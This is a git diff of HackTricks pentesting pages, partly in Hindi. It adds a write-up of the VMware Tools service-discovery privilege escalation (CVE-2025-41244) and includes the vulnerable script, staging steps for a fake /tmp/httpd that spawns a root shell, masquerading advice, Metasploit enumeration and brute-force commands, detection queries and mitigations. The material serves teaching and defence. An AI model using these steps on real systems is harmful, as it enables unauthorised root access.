Tools/Aria Operations में process command lines से एक binary path निकाल सकता है और उसे -v के साथ privileged context में execute कर सकता है। permissive patterns (उदा., \S का उपयोग) writable लोकेशंस (उदा., /tmp/httpd) में attacker-staged listeners से मिल सकते हैं, जिसके परिणामस्वरूप root के रूप में execution हो सकता है (CWE-426 Untrusted Search Path)। + +अधिक जानें और अन्य discovery/monitoring stacks पर लागू होने वाले सामान्यीकृत पैटर्न को यहाँ देखें: + +{{#ref}} +vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + ## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## अधिक मदद +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Linux local privilege escalation vectors खोजने के लिए सबसे अच्छा टूल:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linux के local privilege escalation vectors खोजने के लिए सबसे अच्छा टूल:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1479,7 +1532,11 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## संदर्भ +## References + +- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) +- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) + - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1502,4 +1559,6 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md new file mode 100644 index 000000000..9ee629879 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -0,0 +1,146 @@ +# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) + +{{#include ../../banners/hacktricks-training.md}} + +यह तकनीक उन regex-driven service discovery pipelines का दुरुपयोग करती है जो चल रहे process command lines को parse करके service versions का अनुमान लगाती हैं और फिर candidate binary को "version" flag के साथ execute करती हैं। जब permissive patterns untrusted, attacker-controlled paths (उदा., /tmp/httpd) को स्वीकार करते हैं, तो privileged collector untrusted स्थान से arbitrary binary को execute कर देता है, जिससे local privilege escalation हो सकता है। NVISO ने इसे VMware Tools/Aria Operations Service Discovery में CVE-2025-41244 के रूप में दस्तावेजीकृत किया। + +- प्रभाव: Local privilege escalation to root (or to the privileged discovery account) +- मूल कारण: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines +- प्रभावित: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) + +## How VMware service discovery works (उच्च-स्तरीय) + +- Credential-based (legacy): Aria, configured privileged credentials का उपयोग करके, VMware Tools के माध्यम से guest के अंदर discovery scripts चलाता है। +- Credential-less (modern): Discovery logic VMware Tools के अंदर चलता है, जो पहले से ही guest में privileged होता है। + +दोनों मोड अंततः shell logic चलाते हैं जो listening sockets वाले processes को scan करता है, regex के जरिए matching command path निकालता है, और पहले argv token को version flag के साथ execute करता है। + +## Root cause and vulnerable pattern (open-vm-tools) + +open-vm-tools में, serviceDiscovery plugin script get-versions.sh candidate binaries को broad regular expressions से match करता है और किसी भी trusted-path validation के बिना पहले token को execute करता है: +```bash +get_version() { +PATTERN=$1 +VERSION_OPTION=$2 +for p in $space_separated_pids +do +COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") +[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND +done +} +``` +यह permissive patterns में \S (non-whitespace) होने के साथ बुलाया जाता है, जो user-writable स्थानों में non-system paths से आसानी से मेल खा लेगा: +```bash +get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v +get_version "/usr/(bin|sbin)/apache\S*" -v +get_version "/\S+/mysqld($|\s)" -V +get_version "\.?/\S*nginx($|\s)" -v +get_version "/\S+/srm/bin/vmware-dr($|\s)" --version +get_version "/\S+/dataserver($|\s)" -v +``` +- निष्कर्षण के लिए grep -Eo का उपयोग किया जाता है और पहला टोकन लिया जाता है: ${COMMAND%%[[:space:]]*} +- कोई whitelist/allowlist of trusted system paths नहीं है; किसी भी discovered listener जिसका नाम मैच करता है उसे -v/--version के साथ execute किया जाता है + +This creates an untrusted search path execution primitive: world-writable निर्देशिकाओं (e.g., /tmp/httpd) में स्थित arbitrary binaries को एक privileged component द्वारा execute किया जाता है। + +## Exploitation (दोनों credential-less और credential-based मोड) + +Preconditions +- आप एक unprivileged process चला सकते हैं जो guest पर एक listening socket खोलता है। +- discovery job सक्षम है और आवधिक रूप से चलता है (इतिहासिक रूप से ~5 मिनट)। + +Steps +1) permissive regexes में से किसी एक से मेल खाने वाले path में एक binary stage करें, जैसे /tmp/httpd या ./nginx +2) इसे low-privileged user के रूप में चलाएँ और सुनिश्चित करें कि यह कोई listening socket खोलता है +3) discovery cycle का इंतजार करें; privileged collector स्वचालित रूप से execute करेगा: /tmp/httpd -v (या समान), आपके प्रोग्राम को root के रूप में चलाते हुए + +Minimal demo (using NVISO’s approach) +```bash +# Build any small helper that: +# - default mode: opens a dummy TCP listener +# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) +# Example staging and trigger +cp your_helper /tmp/httpd +chmod +x /tmp/httpd +/tmp/httpd # run as low-priv user and wait for the cycle +# After the next cycle, expect a root shell or your privileged action +``` +सामान्य प्रक्रिया वंशावली +- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i + +आर्टिफैक्ट्स (credential-based) +पुनःप्राप्त SDMP wrapper scripts under /tmp/VMware-SDMP-Scripts-{UUID}/ may show direct execution of the दुष्ट पथ: +```bash +/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" +``` +## तकनीक का सामान्यीकरण: regex-driven discovery abuse (portable pattern) + +कई agents और monitoring suites version/service discovery को निम्न तरीकों से लागू करते हैं: +- listening sockets वाले processes की enumeration करना +- argv/command lines को permissive regexes (जैसे \S वाले पैटर्न) से grep करना +- मैच हुए path को किसी benign flag के साथ execute करना जैसे -v, --version, -V, -h + +यदि regex untrusted paths को स्वीकार करता है और वह path privileged context से execute होता है, तो CWE-426 Untrusted Search Path execution हो सकता है। + +दुरुपयोग विधि +- अपने binary का नाम उन सामान्य daemons जैसा रखें जिनसे regex मेल खाने की संभावना हो: httpd, nginx, mysqld, dataserver +- इसे किसी writable directory में रखें: /tmp/httpd, ./nginx +- सुनिश्चित करें कि यह regex से मैच करता है और किसी भी पोर्ट को खोलता है ताकि इसे enumerate किया जा सके +- शेड्यूल्ड collector का इंतजार करें; आपको स्वतः ही privileged invocation मिलेगा: -v + +Masquerading note: यह MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) के अनुरूप है ताकि मैच की संभावना और stealth बढ़ सके। + +पुन: प्रयोज्य privileged I/O relay ट्रिक +- अपने helper को इस तरह बनाएं कि privileged invocation (-v/--version) पर यह किसी ज्ञात rendezvous से कनेक्ट करे (उदा., Linux abstract UNIX socket जैसे @cve) और stdio को /bin/sh -i से ब्रिज करे। यह on-disk artifacts से बचता है और उन कई वातावरणों में काम करता है जहाँ वही binary फ्लैग के साथ फिर से invoke किया जाता है। + +## Detection and DFIR guidance + +Hunting queries +- vmtoolsd या get-versions.sh के अनपेक्षित children जैसे /tmp/httpd, ./nginx, /tmp/mysqld +- discovery scripts द्वारा non-system absolute paths का कोई भी execution (दिखने के लिए ${COMMAND%%...} expansions में spaces की तलाश करें) +- ps -ef --forest से ancestry trees को visualize करें: vmtoolsd -> get-versions.sh -> + +On Aria SDMP (credential-based) +- /tmp/VMware-SDMP-Scripts-{UUID}/ की जाँच करें transient scripts और stdout/stderr artifacts के लिए जो attacker paths के execution को दिखाते हों + +Policy/telemetry +- जब privileged collectors non-system prefixes से execute हों तो alert जनरेट करें: ^/(tmp|home|var/tmp|dev/shm)/ +- get-versions.sh और VMware Tools plugins पर file integrity monitoring लागू करें + +## Mitigations + +- Patch: CVE-2025-41244 (Tools and Aria Operations SDMP) के लिए Broadcom/VMware updates लागू करें +- जहाँ संभव हो credential-less discovery को disable या restrict करें +- trusted paths को validate करें: execution को allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) तक सीमित करें और केवल exact known binaries की अनुमति दें +- \S जैसी permissive regexes से बचें; anchored, explicit absolute paths और exact command names को प्राथमिकता दें +- जहाँ संभव हो discovery helpers के privileges ड्रॉप करें; प्रभाव कम करने के लिए sandbox (seccomp/AppArmor) का उपयोग करें +- vmtoolsd/get-versions.sh द्वारा non-system paths के execution के लिए monitor और alert करें + +## Notes for defenders and implementers + +सुरक्षित matching और execution pattern +```bash +# Bad: permissive regex and blind exec +COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") +[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v + +# Good: strict allowlist + path checks +candidate=$(get_command_line "$pid" | awk '{print $1}') +case "$candidate" in +/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) +"$candidate" -v 2>&1 ;; +*) +: # ignore non-allowlisted paths +;; +esac +``` +## संदर्भ + +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) +- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 0aa2ead3a..d885af7eb 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,16 +1,26 @@ +# VMware ESX / vCenter Pentesting + {{#include ../../banners/hacktricks-training.md}} -# गणना +## Enumeration ```bash nmap -sV --script "http-vmware-path-vuln or vmware-version" -p msf> use auxiliary/scanner/vmware/esx_fingerprint msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ``` -# ब्रूटफोर्स +## Bruteforce ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -यदि आप मान्य क्रेडेंशियल्स पाते हैं, तो आप अधिक मेटास्प्लोट स्कैनर मॉड्यूल का उपयोग करके जानकारी प्राप्त कर सकते हैं। +यदि आपको मान्य क्रेडेंशियल्स मिलते हैं, तो जानकारी प्राप्त करने के लिए आप और metasploit scanner modules का उपयोग कर सकते हैं। + +### यह भी देखें + +Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): + +{{#ref}} +../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} {{#include ../../banners/hacktricks-training.md}}